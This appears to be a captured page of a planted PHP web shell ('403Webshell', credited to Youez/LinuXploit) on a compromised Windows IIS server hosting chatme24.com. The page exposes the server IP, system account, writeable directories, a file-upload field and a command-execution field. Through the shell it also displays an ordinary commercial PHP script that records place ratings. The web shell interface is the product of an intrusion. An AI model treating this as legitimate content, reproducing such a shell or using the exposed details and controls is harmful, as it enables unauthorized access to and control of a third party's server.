403Webshell
Server IP : 209.209.40.120  /  Your IP : 216.73.217.112
Web Server : Microsoft-IIS/10.0
System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586
User : NEWWWW$ ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/HostingSpaces/admin/chatme24.com/wwwroot/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/HostingSpaces/admin/chatme24.com/wwwroot//places_place_vote_do.php
<?php
/* (C) Websplosion LLC, 2001-2021

IMPORTANT: This is a commercial software product
and any kind of using it must agree to the Websplosion's license agreement.
It can be found at http://www.chameleonsocial.com/license.doc

This notice may not be removed from the source code. */

$area = "login";
include("./_include/core/main_start.php");

function do_action()
{
	global $g_user;
	global $g;
	global $l;

	$id = get_param('id');
	DB::query("SELECT * FROM places_place WHERE id=" . to_sql($id, 'Number') . " LIMIT 1");
	if($place = DB::fetch_row())
	{
		$rating = intval(get_param('rating'));

		if($rating and $rating > 0 and $rating <=10)
		{
			DB::query("SELECT * FROM places_place_vote WHERE user_id=" . $g_user['user_id'] . " AND place_id = " . $place['id'] . " LIMIT 1");
			if($place_vote = DB::fetch_row())
			{
				DB::execute("UPDATE places_place_vote SET rating = " . to_sql($rating, 'Number') . ", updated_at = NOW() ".
					"WHERE user_id=" . $g_user['user_id'] . " AND place_id = " . $place['id'] .
					" LIMIT 1");
			}
			else
			{
				DB::execute("INSERT INTO places_place_vote SET user_id=" . $g_user['user_id'] . ", place_id = " . $place['id'] .
					", rating = " . to_sql($rating, 'Number') . ", created_at = NOW(), updated_at = NOW()");
			}

			DB::query("SELECT SUM(rating), COUNT(id) FROM places_place_vote WHERE place_id = " . $place['id']);
			if($row = DB::fetch_row())
			{
				$n_votes = $row['COUNT(id)'];
				$overal_rating = floor($row['SUM(rating)'] / $n_votes);

				DB::execute("UPDATE places_place SET rating = " . $overal_rating . ", n_votes = " . $n_votes . " WHERE id="  . $place['id'] . " LIMIT 1");
			}

            Wall::addItemForUser($place['id'], 'places', guid());
		}

		die('ok');
	}
	else
		die('error');
}

do_action();

include("./_include/core/main_close.php");

?>

Youez - 2016 - github.com/yon3zu
LinuXploit